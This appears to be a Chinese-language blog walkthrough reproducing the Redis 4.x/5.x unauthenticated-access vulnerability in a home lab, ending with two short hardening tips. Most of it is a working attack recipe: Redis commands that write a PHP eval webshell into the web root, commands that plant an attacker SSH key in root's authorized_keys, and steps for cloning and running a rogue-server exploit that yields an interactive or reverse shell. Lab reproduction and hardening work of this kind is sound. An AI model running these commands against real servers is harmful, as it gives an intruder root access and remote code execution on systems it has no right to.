Redis 4.x/5.x 未授权访问漏洞

前言

  看了安恒红皮书的redis未授权漏洞,本章复现此漏洞,不得不说网上的坑很多,真的多。安装环境都在linux下进行

环境搭建

wget http://download.redis.io/releases/redis-5.0.5.tar.gz
tar xzf redis-5.0.5.tar.gz
cd redis-5.0.5/
make
make install

  到这里不出意外的话,能使用如图所示的命令
  

修改配置文件

  当前目录下有个redis.conf文件,将bing 127.0.0.1 这行前面添加#,将protected-mode yes 改为no
  

启动redis

# 使用带配置文件启动
redis-server redis.conf # 注意配置文件路径

写入webshell

  知道对方的物理路径,就可以直接写入webshell。

config set dir /var/www/html
set xxx "\n\n\n<?php @eval($_POST['shy']);?>\n\n\n"
config set dbfilename webshell.php
save

  
  set x前后都要使用多个\n,因为写入的时候包含了redis等信息。查看靶机成功写入,蚁剑也是可以连接的
  
  

ssh免密登录

  kali生成ssh公钥ssh-keygen,一路回车
  
  cat /root/.ssh/id_rsa.pub,记下公钥内容

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCUg6GNcvnRuooWUJ0qqVY2i5hcxEUUq2nRX9HfCQ+xK6k9Fvx3z6+/OKW1y11tXWYaaqJr2v1Vks4S0bwL1g23wV9pS6hXj9AHgdGkJbyKNSwrjyneYLS6cJvtC2rYjYjveZEmM+jqRrKagEDOH7v+VkOn8Vsanli9kjLQ6dj0o3HpBJz6e9tOFXvnuFJTVCtg4Uo89DDI+rQ2lUsCfKRjrEb00io1qxYm8r1XMEtzunTfTBkipyncy1Dn5zqiMk1ER9lrX9ZlEmrqAKvod2emhHtcAWUA4UTiEGxr60ma1pkGtTBCfQoGSKQsdxsGpXirpJ4r+ldpqX4L+twLDWYkYIR8kkynByZoIPEHZmZq8V4XHCRQcI2AQjBDomPKvm39OhIRlCRQxW3aI5+DR7vDS8mzVDkzr2ZjG4B47YohJ+0NpcHijiKdpCVb5jcjUdl63kO0zrZzz2Ss+MdAVYwW52NPYSsJXkG6h7UtERaRw/ksm+ECAr8EFSAd+mRIF9s= root@kali

  redis执行下面命令

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCUg6GNcvnRuooWUJ0qqVY2i5hcxEUUq2nRX9HfCQ+xK6k9Fvx3z6+/OKW1y11tXWYaaqJr2v1Vks4S0bwL1g23wV9pS6hXj9AHgdGkJbyKNSwrjyneYLS6cJvtC2rYjYjveZEmM+jqRrKagEDOH7v+VkOn8Vsanli9kjLQ6dj0o3HpBJz6e9tOFXvnuFJTVCtg4Uo89DDI+rQ2lUsCfKRjrEb00io1qxYm8r1XMEtzunTfTBkipyncy1Dn5zqiMk1ER9lrX9ZlEmrqAKvod2emhHtcAWUA4UTiEGxr60ma1pkGtTBCfQoGSKQsdxsGpXirpJ4r+ldpqX4L+twLDWYkYIR8kkynByZoIPEHZmZq8V4XHCRQcI2AQjBDomPKvm39OhIRlCRQxW3aI5+DR7vDS8mzVDkzr2ZjG4B47YohJ+0NpcHijiKdpCVb5jcjUdl63kO0zrZzz2Ss+MdAVYwW52NPYSsJXkG6h7UtERaRw/ksm+ECAr8EFSAd+mRIF9s= root@kali\n\n\n"
save

  ssh root@192.168.2.183,免密登录成功
  

下载exp

  这里我参考别人复现的时候,因时间已久,很多exp已不能用或者github地址404。当你参考此文章时,我也不能保证是否会出现上述情况,请自己寻找其他exp

git clone https://github.com/SnowMeteors/redis-rogue-server.git

编译exp

cd redis-rogue-server/RedisModulesSDK/exp/
make

  完成后,会在当前目录生成一个exp.so文件
  
  将exp.so 复制到redis-rogue-server.py同一目录下
  执行以下命令

python3 redis-rogue-server.py --rhost 靶机ip --lhost 127.0.0.1

  执行成功后,输入i进入交互式shell,输入r进入反弹shell
  
  详细功能,参考redis-rogue-server-master下的README.md,已经写的非常详细了

修复建议

  1.只有白名单的ip才能访问redis
  在 redis.conf 文件中找到 # bind 127.0.0.1,将前面的 # 去掉,然后保存。

bind 192.168.1.100 127.0.0.1

  2.设置访问密码
  在 redis.conf 中找到 requirepass 字段,去掉其注释,并在后面填上需要的密码

requirepass 123456789
查看评论 -
评论